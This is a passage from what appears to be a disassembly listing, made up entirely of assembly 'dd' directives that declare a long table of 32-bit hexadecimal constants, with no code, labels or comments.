		dd 0D5B25A5Ch, 1C72294Ah, 3627E96Bh, 3B38478Fh,	59C0CF02h
		dd 0E4E16749h, 0D019AD30h, 0FCEB9D0Eh, 0F18BCB5h, 502E5C1h
		dd 31AB1629h, 884FFE0Eh, 25DF8D6Bh, 612F5B78h, 0F272ECB3h
		dd 8EBA80DCh, 38C14924h, 7FF1EA01h, 0C2D80F11h,	0BB5A18CCh
		dd 7A89837Dh, 3CCD384Bh, 77F1C07Ah, 89F6AD79h, 0E9ACCF4Eh
		dd 3C868C2h, 386595D4h,	40D3690Eh, 835F5B3Bh, 81E4F96Ah
		dd 1888E84Ah, 0F67C939h, 0D06661D7h, 0E024421Ch, 0EC985A26h
		dd 2DCE20ABh, 41F9E089h, 0BC0AE56Bh, 8105FF20h,	0BC785EC9h
		dd 16220EF0h, 49126570h, 21FF0565h, 0CDF0E955h,	0A47733AFh
		dd 0CFFB584Eh, 0AC245EC2h, 39688E42h, 7AC4DC13h, 80D2DDFEh
		dd 9B7547FBh, 0C7013417h, 8081628h, 5E14B199h, 3D150FD1h
		dd 0EA01C582h, 5408DF10h, 1DE6E946h, 0D5C355C1h, 4B312D4Ch
		dd 650B12Bh, 4B9F0C08h,	103E1CEh, 2DB93D3Ah, 0FD2B1030h
		dd 0BC8C6817h, 455D1FB2h, 30C74108h, 10462AEBh,	55F2594Eh
		dd 0E85C68C5h, 7280D0E7h, 189D430Ah, 3507EAC1h,	4AB32C2Ah
		dd 2204CD89h, 81EDD8E9h, 28A7CD02h, 47561E95h, 2B524D8Fh
		dd 94F77841h, 4B05C0FDh, 150A7F0Ah, 72DD829h, 0F8105B1Bh
		dd 26371DBFh, 0E4AD530Bh, 0D8EBE5DDh, 60305658h, 54D80C5Ch
		dd 0CA024C9Bh, 0ED2A3207h, 860BB2E2h, 2D92F6F6h, 0BEF252EEh
		dd 35E05239h, 29440226h, 87D9E9F8h, 8FB877DEh, 64DAADB6h
		dd 4EBBB56Dh, 0F372FA8Ch, 8AA2D74Eh, 5A146620h,	38AEDD1h
		dd 25154BA3h, 6103C2C1h, 33BB82Ch, 7E7C00Dh, 9F78E2C2h
		dd 27329C9Fh, 0E25C1365h, 84380559h, 1BC1EBE4h,	48730BE5h
		dd 0DD0625Bh, 0C0C39B55h, 4E210CD0h, 0EF3E9162h, 0F34D9D12h
		dd 0D1C313C9h, 0C2409768h, 0A8B0595Ch, 0D2FCE831h, 754B215Fh
		dd 5E010083h, 9002E2C1h, 0E65C178Eh, 0B68A05B2h, 0D286E82Bh
		dd 68520BC0h, 387204B5h, 0AC46E923h, 0C5311AECh, 28D0F15Eh
		dd 9EEC2043h, 3E5FDB95h, 5A25F51Ah, 71B92643h, 3BCD3AC3h
		dd 192A43Fh, 28254450h,	0FDE9E341h, 0CA344FDDh,	66A4B05Ah
		dd 4032E16Bh, 1264304Dh, 6EF6E37Ah, 0CC5A1A12h,	764FAA27h
		dd 58A1A9B8h, 0F2282A52h, 603C08BDh, 92390B4Dh,	0F0E16339h
		dd 0C0450202h, 2D9B2761h, 59C02FCAh, 0D85A0EE9h, 520FDB5h
		dd 0EB09537Ah, 0C65B71Ch, 0A9205BFDh, 0E9EB2804h, 47B276F6h
		dd 1552572Ch, 0DA28F606h, 1F63F8DBh, 9A5B3C08h,	81DE2FEAh
		dd 0EC967D72h, 975B9697h, 37E3F70Fh, 56200769h,	7B599582h
		dd 9B16F6A4h, 0B03C228Dh, 75508F2Dh, 391A646Ah,	720BE200h
		dd 9842310Dh, 0E307095Ah, 96F8203Fh, 0E4C6AF25h, 3116B068h
		dd 0D6C56964h, 78B73B5Ah, 0B27CBC4Fh, 1516FD21h, 88DCAEBDh
		dd 20E42816h, 8125FF70h, 0D9F5CBEDh, 0CA7FEFFEh, 0C3C52FB8h
		dd 0BFC6FBCFh, 8EA674D9h, 38D86B0Ch, 2185B833h,	0F76607ACh
		dd 0E46831E9h, 1AD2D711h, 0F10DE65Fh, 2D6801F2h, 0C9F63F7Bh
		dd 0B53AFD4Ah, 65B5E891h, 0A833595Ch, 0E0E735BBh, 0C55F5EDEh
		dd 0FB20EA65h, 4C984CAFh, 0D602402Bh, 4D291D62h, 655FD2D8h
		dd 0A0D900E4h, 30F8BD4h, 0E62D732Fh, 0EFA44B1Ch, 224FD480h
		dd 8A15E1Dh, 0E4255B18h, 0E249962Ch, 75803FE9h,	4AF0588Bh
		dd 490BE4B2h, 0F06C954Bh, 906B5B36h, 0B0A4EB99h, 8AEEE034h
		dd 0E912A9CBh, 0C1B6C16Ch, 0FBE2EEEFh, 0D4C6457h, 0D434AF5h
		dd 1E5E41F4h, 19863681h, 708F7B5Ch, 99B1357Eh, 0B13228D2h
		dd 19A5F821h, 0E215F1D4h, 0F6FD5A97h, 0C6A300B4h, 0E9385F09h
		dd 1CCE182Dh, 52B0FC15h, 25100817h, 2A513F22h, 14B5EB96h
		dd 73682F45h, 9161499Ah, 0F92D4101h, 0C6E22F5Fh, 0C1354A62h
		dd 89D72C02h, 0D4D0E2B9h, 6310E227h, 7AAF209h, 0ED5B3EEAh
		dd 0FA50E26Fh, 5AFE755h, 0A232E868h, 69522E1Ch,	45222E82h
		dd 0EFFA854Fh, 7F9F071Ah, 5687A68h, 0E730295Fh,	604DBBh
		dd 0B5B973C2h, 0E98C3D9Fh, 0F09CD5Bh, 7FC4D2ACh, 0E47F8220h
		dd 0F87D210Bh, 2DF61C16h, 35C40C2Fh, 7188C42Dh,	0E15BE776h
		dd 0D5E959EFh, 0EAB22B0Ch, 0F296684Dh, 0CDD010A6h, 0A528895Bh
		dd 6BC3D42Eh, 62B07E00h, 5EA3FAFh, 3670F15Eh, 0A6080168h
		dd 22BF059Fh, 0F47402Dh, 0E4C0659Bh, 0FE83E929h, 8179DAABh
		dd 1C033925h, 68500A3Dh, 60AC1DF1h, 0BCB045B5h,	0B0E8282Eh
		dd 0E4D8F658h, 0C0FE2CD0h, 177B10C4h, 55D1C631h, 3C68E220h
		dd 0C3B19797h, 0E90211BBh, 9C1D52E3h, 0FE55C16Ah, 2C458D55h
		dd 7C6561E4h, 0DCF8A506h, 0E23BEFD5h, 0A5F84BB8h, 36BAF1B7h
		dd 0F2F0FF22h, 1F2B7DCh, 2D0594BEh, 14BE6226h, 5568F3D3h
		dd 14C5EF73h, 9F28B8D8h, 3A6B85B9h, 0E7804FABh,	5BD51BF3h
		dd 0C0BE840Fh, 0F4D419E3h, 0D6AC434Fh, 0E63EA748h, 8484E993h
		dd 3ECB89CFh, 0B9476BDDh, 0D4CBCCF4h, 166E5B10h, 0DCE83C68h
		dd 17975A3Dh, 5B40B2CEh, 75864FBDh, 0F62D33C9h,	29C24660h
		dd 1AB8E6Dh, 91C5C1B2h,	68DFFC57h, 0B0E3524Eh, 3E1BC4Fh
		dd 58845A3Fh, 0CEEEBCFFh, 0CC944FC0h, 761F5F80h, 87715A3Ah
		dd 0D9E127A5h, 205FCF00h, 0E91375E8h, 0DF29B4Dh, 84C8B84Ah
		dd 0DFC9295Bh, 5305EB30h, 71D4C973h, 60436E01h,	3BFB011Dh
		dd 9F796546h, 661B04F5h, 0AB5B1A82h, 7DE4AF87h,	0EFEC0A0h
		dd 77C480CCh, 0D458E507h, 2E68A1C2h, 48ECC02h, 65047DF0h
		dd 7586AC67h, 5B609F37h, 0E40EAFBBh, 0E110AEEDh, 460A7805h
		dd 0C5810073h, 0D0CE626h, 0B2D7D00h, 0E0AD052Ch, 0C0154AEBh
		dd 84C1E94Ah, 24773DC5h, 311A3ED0h, 4F0CFCD2h, 5CD0C8FCh
		dd 0A97A859Ch, 5E1CF7B2h, 99147317h, 8D3091ACh,	5BCCB6Bh
		dd 0FC06AC27h, 0A460256Fh, 8C2F0289h, 71C3D031h, 607582AAh
		dd 3EE784E5h, 497DFEFBh, 29285DA6h, 732C2F8Dh, 680433F3h
		dd 88A21144h, 35135978h, 4EC0A392h, 0F5D28FDh, 0F5EA98C5h
		dd 91D230E6h, 48295E80h, 3C04ACFDh, 0F24B4751h,	0BE5680EBh
		dd 13280A5Fh, 8DEF749h,	0C83E7BD7h, 0E8D3DE31h,	4F09A544h
		dd 957BF6DDh, 4E7CE84Ch, 0E9F1E4E9h, 5B432861h,	882D4F17h
		dd 46D3EF32h, 0E7DF0D24h, 5635CE4Ah, 0D2B28DBCh, 5EA2A2DDh
		dd 0A5A4C75Fh, 0F626B3F0h
		dd 0BCFB5F0h, 7C907FF9h, 0B5866325h, 0B83BE278h, 18BE01BCh
		dd 34222C0Dh, 5D8A630h,	0ADBF4F2Dh, 92ED851Fh, 0DE5C5833h
		dd 0D2386169h, 101A446Eh, 84B1ED5Fh, 0E4CDBEE2h, 25217CC3h
		dd 66455EFBh, 5770708h,	8403EAC0h, 8003D17Dh, 0C5BE88EBh
		dd 82B16461h, 0DF9CCBDEh, 3972E92Ch, 0F2CC7EADh, 0E9126F50h
		dd 64AAAEC9h, 0B16BBF0h, 9C1681F9h, 64CFA61Bh, 2B805018h
		dd 9FDD08FDh, 0CBF69600h, 255B4466h, 0FE932BB8h, 0E94E012Eh
		dd 22B25A70h, 1371BCF4h, 60B8D5DDh, 8E2EEB92h, 4BDC662Dh
		dd 0B5230846h, 7BC5CC68h, 0A650D43Bh, 0EC2F4FE1h, 9586F296h
		dd 805B3783h, 60CA85FBh, 789708F8h, 9E4A2504h, 0B1009664h
		dd 0A0B7539Fh, 7312EF80h, 0F60819C0h, 0D48410D7h, 0B06250DFh
		dd 1C9FECAh, 64D18859h,	4680826Bh, 0DDE60581h, 2447901h
		dd 6903F9B2h, 0E5F7D285h, 63A13A84h, 19A65720h,	0D06F771Ch
		dd 0C60640A2h, 0FE3D39BDh, 84F3A76Ch, 0EAE8577Ah, 0B5BA52C0h
		dd 1902BC4Ah, 216D86B9h, 1ABCD608h, 258FC50h, 0DF5277B4h
		dd 0DE986966h, 0CDAB7D31h, 8143D2F6h, 0E47BDAFBh, 0F5C65EDFh
		dd 51D50B15h, 0C4343DADh, 68025D64h, 17DE0930h,	462A3761h
		dd 0CB81FDCAh, 0CBB9D5CDh, 3F608520h, 7896853h,	0ED82404Fh
		dd 0A8F1E5CAh, 50DC735h, 897E6532h, 0D9A53E4Ch,	15460800h
		dd 294E17A6h, 0D054EC4Ch, 0A927500Ch, 67EDE3C0h, 9D5F063Ch
		dd 88249FAh, 0F70A5EDCh, 226EBD6h, 7BF1E214h, 0A17677B0h
		dd 6A4FB3B0h, 6DAB2ACh,	0D8A034C5h, 0BD3F1501h,	0F6B9E912h
		dd 0EC27D83h, 57E8A806h, 7704ACBFh, 0FA012DC9h,	903B2CAAh
		dd 90B9205Ah, 0B758B3C9h, 2DBCD395h, 4A4E3BF6h,	2502365Ch
		dd 50757CDFh, 4C40A027h, 2F282D71h, 0D9B9A454h,	13593B9Ah
		dd 7CD2DEDBh, 0EDEE5D02h, 97A4F783h, 3736FFE3h,	1FE9720Bh
		dd 6825A158h, 9FB3513Eh, 0BDEF9552h, 56BD1Eh, 0EB813C16h
		dd 512D4E28h, 0A064FC40h, 435D2608h, 12D107FCh,	0D1317535h
		dd 1BD1C47h, 2D2F5266h,	0F4E4404Bh, 0E60F88B3h,	97AA2C58h
		dd 0DE4715BBh, 0B416AD3Bh, 52FEF484h, 4017140h,	4A3A05E8h
		dd 4E4FF8AAh, 0E9C325B2h, 0A030F2Bh, 7D2FB205h,	0C618D215h
		dd 16BD04BFh, 0BF514554h, 9713C0C8h, 0B0BC073h,	8A0AC47Bh
		dd 4E7CC324h, 0F4CAF818h, 4BE90598h, 682D424Bh,	0A376554Dh
		dd 205B9E42h, 6143A2CDh, 0DA01645Ah, 9188BC5Dh,	493BC07Bh
		dd 61B81E07h, 292EB580h, 0D77DC01h, 63D338C7h, 34C2A16Eh
		dd 0F80F70B4h, 7301E108h, 309C20BAh, 0DA5886D4h, 6148637Fh
		dd 0C27B2DC0h, 0CD7432E4h, 8214DC82h, 53666797h, 7E98877h
		dd 0A9CBE909h, 0D1577EE6h, 3808E1E9h, 5405805Ah, 0F02BD629h
		dd 82A690F0h, 1157608h,	0D120812Dh, 0CBF07A1Ah,	0D1A45BE1h
		dd 3A874A3Eh, 4F1057CEh, 723850BBh, 7489F45Bh, 45DAE46Ah
		dd 0BE560C40h, 6455A8Ah, 7A393124h, 92E35B5Ah, 0DA1DA24Ch
		dd 8BB2451h, 0B900E1FCh, 720D1BDFh, 48F10081h, 0E9075B3Eh
		dd 22979C26h, 29D5F98h,	2464EA81h, 0FED8B981h, 0C22A0E5Fh
		dd 0FF072EE9h, 0C9682AA2h, 0BE05226Ch, 73913147h, 0FA1325EBh
		dd 2C04BD5Eh, 0D1EA7AFAh, 3AB7E06Ch, 58596C8Ch,	82F432BFh
		dd 0AD05D44Bh, 66B8C601h, 0C06B1F2Bh, 61263322h, 75C34297h
		dd 0C2CF71A4h, 60556049h, 1A3564Bh, 0BF051CB8h,	4426FC55h
		dd 0DC21EFE3h, 80A6C189h, 2A17BE8Dh, 0F2BE415Ah, 88D030A8h
		dd 0AC6971EAh, 9FB48080h, 0E330C2B3h, 0C29DE92Fh, 6511D604h
		dd 0C3328D66h, 2CBD5502h, 77090634h, 60056CC1h,	6465F334h
		dd 71F2D94h, 5F241428h,	48E2D15Dh, 0A17D0BBEh, 79EBF6EEh
		dd 123B8971h, 263A8F8h,	215A5852h, 39915FC3h, 32BE006Fh
		dd 5DA81222h, 6093E056h, 7B32B1F2h, 5CFE5Fh, 0D40EA868h
		dd 1068754Ch, 800E94FBh, 0CC693EC4h, 1A2AD02h, 4BF36801h
		dd 1A9BCC6Ah, 0E07AD541h, 0B458BD87h, 0C4C9DFBDh, 0C9C92105h
		dd 6460410Eh, 2631E655h, 85A6937h, 0AC01F0C1h, 3204132Ch
		dd 0D8C1EBD1h, 927DFA30h, 89C79DE9h, 0C98B4CBEh, 0BC94D0F3h
		dd 737E5A49h, 0B321EF45h, 0BE6C16E9h, 662C563Bh, 0BA5C80C7h
		dd 0AD1399C4h, 0C1799090h, 2978350Fh, 8A81CC2h,	31F094B7h
		dd 7FDCDAF7h, 82DFF94Fh, 0F360292Eh, 0A0A75631h, 8974B608h
		dd 0B2DF0647h, 721AFC3Ah, 968EB68h, 0F5BD264Eh,	64BBE9A1h
		dd 0B30B5347h, 0D6DD208Dh, 52370022h, 0E6C072B6h, 0B0500701h
		dd 6276E99Dh, 1885662Dh, 0B14EEE1Bh, 0B3567ECDh, 2DE284C5h
		dd 30ECBAC0h, 0F8C10C75h, 3C2711CEh, 5F469430h,	800F47E1h
		dd 39C067EEh, 0DF874482h, 603DE0Ah, 0B071FC3Ah,	382535C7h
		dd 82DA3168h, 8A5EA5D1h, 0E49FF767h, 0F6EC1640h, 0BE661DD2h
		dd 0D96C2940h, 5B4616A5h, 563B60A9h, 57401168h,	0EC1325E9h
		dd 5F040AD1h, 13ABDBF7h, 0F02900AFh, 21AE08A0h,	0CAA3D84Ah
		dd 0E95B784Ah, 0DB85FE2Dh, 0D7878BE5h, 0D8096CDEh, 79AD10C8h
		dd 2DC75F6h, 0E288B9ECh, 817D3058h, 3EDC0F0h, 0CB80BF00h
		dd 148E0C58h, 73E6305Ch, 0E0B0E85Bh, 0E9C0289Dh, 0C86622A9h
		dd 38ED20F1h, 0C9BCEE4Ah, 15F20479h, 0EEE74951h, 0BD8F46D1h
		dd 34ED2F82h, 7F400A08h, 0C49E637Ah, 0F1440560h, 0E19A5F8Ah
		dd 0E6F66F19h, 0ADA16126h, 2DF7AE2h, 7CC78305h,	430B057Dh
		dd 0D3DA0D72h, 0D1A90004h, 0AF03FB07h, 91E9DF09h, 0C28512AAh
		dd 3DFB0D45h, 2F297C56h, 6AA7F95Eh, 0CD687078h,	8FBE3354h
		dd 0F7576B40h, 4058C94Ch, 7BE32C6Eh, 85644A1Dh,	7CB87D17h
		dd 578E5932h, 0FDD60102h, 305F9201h, 7A5AF440h,	2012E6BFh
		dd 6817A94Fh, 49CC29A6h, 38AE48F4h, 134B6582h, 0B1B022DDh
		dd 85087Ch, 0DDB6B951h,	12950660h, 5714AB72h, 0EE72FB0Fh
		dd 0C5FE7440h, 9807E5C0h, 0A6220C0h, 4BC0B083h,	314B6CBFh
		dd 8F02B0BDh, 33E92047h, 8B594EC9h, 747F4C34h, 59B8520Ch
		dd 0FDCBC0E1h, 5B3CA9F2h, 945F49CBh, 272D9CC7h,	529D845Ah
		dd 77CC40Ch, 6A2D12D3h,	346E0B3Bh, 0B15FCCC2h, 5F32F5D9h
		dd 97DB681Ch, 165F1FFEh, 0C14EC1ECh, 0FF2AD67h,	8231C325h
		dd 717327Ah, 0EB510609h, 19685240h, 93A25026h, 885B4094h
		dd 1877C15h, 1DE9C252h,	324C7756h, 0E62B8341h, 5F81006h
		dd 0FAF6125Fh, 0D0C5DF64h, 3B98F8F2h, 0AF060F66h, 983CE9C8h
		dd 0A1BB0768h, 0A4419C5Ah, 0D0DE065h, 3F1F5C09h, 40C7004Fh
		dd 9201F446h, 1E2B272Bh, 80CF153h, 4040BD38h, 293C5A9Dh
		dd 0C8B813FBh, 0D765A0C9h, 860E60FAh, 35B40BE3h, 704D001h
		dd 9BF21691h, 3B53E2D3h, 84763CBBh, 2EBC119h, 9D8DD2F0h
		dd 5B4F5646h, 0FD112AF9h, 20125435h, 8774864Ah,	51A2EBC4h
		dd 232968C2h, 0FE800579h, 0E97C3B41h, 3E30B2C5h, 6F00BF57h
		dd 7B813F9h, 16589D4Ah,	0A8A08422h, 0C6FCF912h,	5B18EB92h
		dd 4A812E58h, 5E211D8Ch, 0F7C244F8h, 238B70Eh, 8A685156h
		dd 6158540Ch, 9AA51F67h, 0FE4BDABAh, 0C9A91825h, 6C7554BDh
		dd 37815D4Bh, 0B37B9C0Ch, 0AAE71360h, 0A8802324h, 4CDB15C1h
		dd 0F2005822h, 0E90DE73Dh, 8BA46651h, 2039D409h, 14EF7C5Eh
		dd 2E13880Ch, 51109C8Ch, 888AC790h, 76179D41h, 95E9829Ch
		dd 961E76E3h, 8919ABC3h, 7EF95D10h, 0F94E487Ch,	94935B1Ch
		dd 40CB5B44h, 1520C3C4h, 6B87565h, 0BA35AC64h, 0E11922ABh
		dd 204C3C58h, 0FB977ED1h
		dd 0E9C43BA5h, 20BF8EBFh, 0CAF9412Dh, 5B64F492h, 5989248Eh
		dd 80A816EFh, 0D542EEF9h, 95219DA6h, 16096972h,	5FF252C9h
		dd 79686687h, 0B8EA187Dh, 0D37E007Bh, 4DCF2D76h, 0BBA03597h
		dd 0D23D71B0h, 591F8524h, 0A48149F3h, 8948A60Ch, 68A940D1h
		dd 175A3409h, 0E7BB203Bh, 0C010D447h, 922C9D46h, 0E000C11Fh
		dd 79054802h, 948B9A83h, 856C0CA8h, 7B07C5BBh, 2967EAF2h
		dd 3A777ECBh, 206FE33Ah, 0F553C424h, 2B452144h,	4B29FFF4h
		dd 9DA9A8F0h, 5153B049h, 1F68C135h, 31FF4D75h, 8320D457h
		dd 0F5724B64h, 41B37DE4h, 0EFC28296h, 70DF84D3h, 0A19A251Ah
		dd 0D98BB151h, 830419D4h, 6AE25503h, 0EA81FDA2h, 90F63B72h
		dd 79E7F64Eh, 3F82994Fh, 41FD802Ch, 401530D2h, 6DA419D3h
		dd 53ED4088h, 5EB8B72Dh, 1FC39C52h, 9141CAF8h, 587C40AFh
		dd 2B901912h, 3C056A09h, 204DDA2Ah, 0B9249CFBh,	0D8ADE46Bh
		dd 89792D60h, 0A0A5DE71h, 4E43F78Eh, 79A1A046h,	6A172D76h
		dd 3FF6950Bh, 0DE540E3Ch, 7AC7DE35h, 0BC6CFC77h, 0C419B58Fh
		dd 0B6A65168h, 66577018h, 9DB4D897h, 0CD71643h,	0D9BD5B0Ch
		dd 102AAA3Bh, 1F7F727Eh, 3C03508h, 0FE0D1D52h, 3C612E77h
		dd 0CA6F1765h, 964C7B4Eh, 0FF31A210h, 986B2E82h, 243E477Fh
		dd 825F1721h, 94755A64h, 609DFE80h, 19ED3D94h, 0D8E57906h
		dd 6C2471CDh, 0E50143C6h, 10651378h, 16165E30h,	0E8256A4Ch
		dd 0D2E70073h, 0C15FD163h, 0E8DA0EFh, 0BF6680C4h, 190609Fh
		dd 975FEEF8h, 82BDF416h, 15D65C9h, 7057D9F7h, 3B170A31h
		dd 1AB18AAh, 8941FDA0h,	0FE513028h, 560D2D18h, 2592760Ch
		dd 81F4A18Fh, 139D4508h, 8A5Eh,	1C0CBD55h, 27E9138Ch, 95F4771Eh
		dd 0CF297040h, 55A2D0Ah, 2D776ED2h, 0E6A421Dh, 7B66F65Fh
		dd 0F0D6E90Bh, 0E830264Dh, 2D7131E9h, 6DEF709Ch, 0E5C43504h
		dd 2584A7E0h, 0C18953AAh, 0E16AABh, 0B363F368h,	37900640h
		dd 0EA04B003h, 320770D4h, 0C2E7C2BFh, 11820889h, 0E4DA51A1h
		dd 0A0AFFD20h, 809E02D8h, 5679DE89h, 0BE678B7h,	5E9A5BBAh
		dd 942DBEDAh, 4365306h,	0AC0DCA68h, 0BDFC9395h,	0D09CBEE5h
		dd 36BA480Ch, 10DF492h,	5859191Ch, 93685B82h, 0EF125C13h
		dd 6460F6D5h, 4AAE4115h, 0AA40DE90h, 14B604BBh,	0EB091765h
		dd 2006C741h, 0D420A018h, 0CC451ED6h, 1EEEF604h, 2F1912EEh
		dd 18DA5314h, 3B2C322Fh, 80F5FDEBh, 0A6728B5Eh,	7D2C4D7Ch
		dd 9348D4B0h, 0AC081F24h, 0EE880E6Fh, 0CB5AF444h, 3F803BBEh
		dd 0EFE7AEECh, 0B4403016h, 0EED14E59h, 4F9CF446h, 0F5AD3252h
		dd 5A0B1558h, 55546768h, 0CC5D0F32h, 0E983B76Bh, 3216D1A8h
		dd 29EE5B54h, 0B4F302FAh, 655D20EAh, 142888DAh,	650E763Fh
		dd 77A14129h, 18770ABDh, 68177E73h, 0E4BD507Fh,	4760B771h
		dd 4B819660h, 55C6002Bh, 0D0F73748h, 0F9753507h, 3D50BDB3h
		dd 0BC32127Eh, 0C52D01D6h, 7B55733Ch, 704CDE1h,	293A26D9h
		dd 3C90083Ah, 0B30487D6h, 34EBEC4Eh, 25C8271h, 0D296E651h
		dd 201244EDh, 13F7E350h, 8FD15451h, 0FF0410AFh,	1C0AB193h
		dd 35E342Dh, 0C9FE58C1h, 0D1805997h, 2CEB8007h,	303820E1h
		dd 0CAE9C817h, 68551041h, 8D237E12h, 0D4C9E24Eh, 581910C9h
		dd 5FCFA540h, 0B07E759h, 21BC67E9h, 0E47A14Fh, 1DF15F20h
		dd 0CB7B684Dh, 1055CE89h, 4D585B64h, 114E928h, 0B8D37585h
		dd 90AD107Ch, 18595D12h, 2005BEEEh, 511B0D0Bh, 2D5FC29h
		dd 437136A6h, 643E9E60h, 0CE677A3Bh, 400551E4h,	752768FBh
		dd 0EAF3DC73h, 0F9C90872h, 80E30638h, 54161BC3h, 12B9A98Bh
		dd 419F22D7h, 1B0B48D4h, 0AD88375h, 6512D7Bh, 15562218h
		dd 9040C20h, 31E2038Bh,	944681BEh, 0B8F3A6A2h, 0BDB26025h
		dd 0B57D0907h, 13CC4553h, 8DB0397h, 311E133Dh, 4E8BE3CDh
		dd 0E9C26AFDh, 45D5D0BBh, 8D1A3EFCh, 5742F98Ah,	56D2905Ch
		dd 0FB845277h, 0E789008Eh, 0C475FD68h, 0F253986Dh, 2F2D7D14h
		dd 5202903Dh, 23436AE9h, 33273AB6h, 35766660h, 0E4442A27h
		dd 843EFD71h, 8B4A5EEAh, 59692B6h, 1C63B927h, 584BFC06h
		dd 0D09E12F7h, 515B0EA3h, 0D4B14252h, 465C2B2h,	4CFE88C3h
		dd 986A5011h, 0C4C3FE80h, 0C130622Ah, 70CD0420h, 2BE92C66h
		dd 28B84484h, 0F510E9B0h, 0D16B52B4h, 8C5399D7h, 35CE3BB8h
		dd 90E85A7Eh, 1743C22Fh, 0C1F33107h, 3EE206EAh,	0B266770Ch
		dd 936521F2h, 8FFC01D7h, 89A8B84Ah, 80045813h, 9DB205A8h
		dd 0C6918C34h, 26E6E90Dh, 7B1257CAh, 227DA180h,	0A098775Fh
		dd 76F1FE0Bh, 63887FFCh, 0C72B34E9h, 16C38420h,	402B5FE0h
		dd 0BABD54DDh, 0DCEA400Fh, 6713263Bh, 0D46B1CB3h, 0B016BD12h
		dd 11F0E67Eh, 44695B14h, 0AE8DB147h, 949239F0h,	0E7335254h
		dd 0FA0BD3DBh, 675DFC5Ah, 5BD90BDCh, 0EA80E9E2h, 7D05C79h
		dd 340B1AE1h, 0B502BA50h, 7E535660h, 7C81BC47h,	29279E37h
		dd 0A3093FE9h, 58551EADh, 0A004CE56h, 0FE02AC6Fh, 3D963C4h
		dd 0B089E26Ah, 0BF29E95Ch, 4B7CB8Fh, 12B87DC9h,	0B07A7ECh
		dd 0C5421573h, 5690AE40h, 3980AFB5h, 0F5873BEDh, 86D5F679h
		dd 592DB2C5h, 0D2AC4460h, 0B522A0C2h, 2C24B77Fh, 0BA60D0C2h
		dd 4B944877h, 42E0E044h, 7A3C74C1h, 0C804D1Eh, 4F0F4841h
		dd 2B20EE9h, 0EEB34C97h, 41FAC4C0h, 52BF135Bh, 0B28908B7h
		dd 36F53117h, 956A7B60h, 114C5F68h, 815E3B00h, 45449FE3h
		dd 0C1808206h, 0D929F9FEh, 0B2CC4B3h, 0ED3AFE3Ch, 0C69597DFh
		dd 20948DEDh, 13D9F010h, 22351B3h, 28058480h, 4032C4DDh
		dd 93B6528Fh, 0F0068850h, 0D3F6D886h, 7F68F108h, 0ED8CF917h
		dd 7B0A51C7h, 0CAFC5A5h, 0CB5D474h, 14E097EEh, 0A69D8201h
		dd 54F2B7Ch, 8B5F7AE0h,	2F3272A7h, 0E8FEC583h, 0ADE28B59h
		dd 0E57B1276h, 0EE3C5440h, 4DE9757Ch, 0BF000323h, 7CCA3DDEh
		dd 507EFC1h, 51EAF781h,	0A1F8A6FCh, 0EA06B394h,	3E665F20h
		dd 0A5A5FA89h, 0CDB7C4D0h, 5EE985E1h, 0A012FD02h, 0B1125868h
		dd 0B20A67Bh, 9EC88D35h, 402E67D9h, 7E083E39h, 0FF722793h
		dd 0E8307F09h, 3AEAAC7Ah, 4D341DDh, 1DE3C3E3h, 3D97B4D1h
		dd 210601EBh, 0D2F72226h, 7B8B3Bh, 534071B7h, 795EF229h
		dd 703D3E56h, 12E90B86h, 0D1507FA3h, 72B5C3EEh,	0C8CBF216h
		dd 0FE09A07Ch, 3D80FFCAh, 0D508D6EAh, 0F692FBFCh, 0AD90F3F4h
		dd 468C2F25h, 0E4F98363h, 95D36FB4h, 74D13CC2h,	77E42A8h
		dd 4F996226h, 0BBCC5145h, 3E53B4BFh, 5C7ED825h,	5BE6C04Bh
		dd 99C266FEh, 0B909CD2h, 0B3531A01h, 4EABE982h,	0F32234h
		dd 0DB76903h, 0D7F7FB87h, 1A4308CCh, 0C20F0356h, 0B5E2E968h
		dd 0A7F2314Fh, 49222C1Fh, 0B0FA9B0Dh, 0A49DFA90h, 95822900h
		dd 0C30F5659h, 490364D3h, 0AD0586CEh, 136280Fh,	81D7FA11h
		dd 1B892E8Ah, 502C7CD0h, 5011F02Fh, 0E0688D66h,	0C75AECF3h
		dd 0E9287516h, 0A56FA7D1h, 0F3AC0AE9h, 5B565D2Dh, 11D749h
		dd 16472821h, 48D1039Ah, 5F0573D8h, 0AAC99261h,	0F7B63C41h
		dd 0CB300E2Ch, 0EECDD7E7h, 86B21127h, 58DBDEB7h, 42C70847h
		dd 9703F068h, 0F369D165h, 7BA3E73Ah, 0B6E4628h,	0BD45920Eh
		dd 0B3CBC048h, 0C036DE5Ah, 0FEDBEF70h, 9695897Fh, 8F58BFDBh
		dd 0A2E78FA0h, 0FDC2880h, 1BEB805Bh, 0D4FA8364h, 0C98FC78Fh
		dd 6DECB280h, 0BC8076CDh, 0CFFE2CF3h, 6B110047h, 0DD01189Ch
		dd 880C190h
		dd 99532E9h, 92A6D9E4h,	5A670551h, 0DE25FDE2h, 0E64790D6h
		dd 0C772EE29h, 0C10500DAh, 812F7BC0h, 34D07389h, 30EBA58Ah
		dd 6CB6766Fh, 0F4BA591h, 1DF6C1A4h, 5EC5020Eh, 0D3C830B2h
		dd 1F63A41Bh, 0DC03610Ch, 128EDFA0h, 8C6825Bh, 880FE66Ah
		dd 7C594BFCh, 84C5123Ah, 238DAAD5h, 80D84D30h, 0B878B252h
		dd 88277262h, 1F1E40F7h, 0FFE8B7D1h, 7E4BC833h,	0AF66BA0h
		dd 0D06FCA47h, 50D408C7h, 540E0409h, 0AF024A0Dh, 898172D9h
		dd 21AE68E3h, 0EBCF0E2Ch, 0C042CDA4h, 157B7152h, 0A7E80D4Fh
		dd 80FDBA2Ch, 7DE7814Fh, 56485457h, 6D5D7EE6h, 2E2C0417h
		dd 0CFC25304h, 0EB17FEABh, 0A2BDB27Dh, 3065D88h, 0F083EBB6h
		dd 0F1322CD1h, 5D4E2EA0h, 6187EBE3h, 816E6470h,	6C48C128h
		dd 0FE4192C0h, 11477621h, 57672C6Fh, 0B2685202h, 7845CD4Bh
		dd 544705C4h, 0C14A5CC8h, 2B239E32h, 758B9405h,	3D1E8CAFh
		dd 8B12214h, 47B80BF2h,	471DC16h, 81C769F1h, 25F19D2h
		dd 5389DC51h, 0EB488CFAh, 22C15F54h, 5A7D41BEh,	408D6220h
		dd 0A20F6864h, 4928AC37h, 0FF612B51h, 0C7495902h, 417A9A0Ch
		dd 13C36FB5h, 256D48B3h, 4C7F0E10h, 16F8380Eh, 2EE5AD7h
		dd 0EEB05082h, 306942E1h, 0D27DB413h, 2FEDE14Ch, 2A5A3B4Ah
		dd 4CAE1366h, 0D803805h, 3F6B58C2h, 875C45FEh, 0D221929Fh
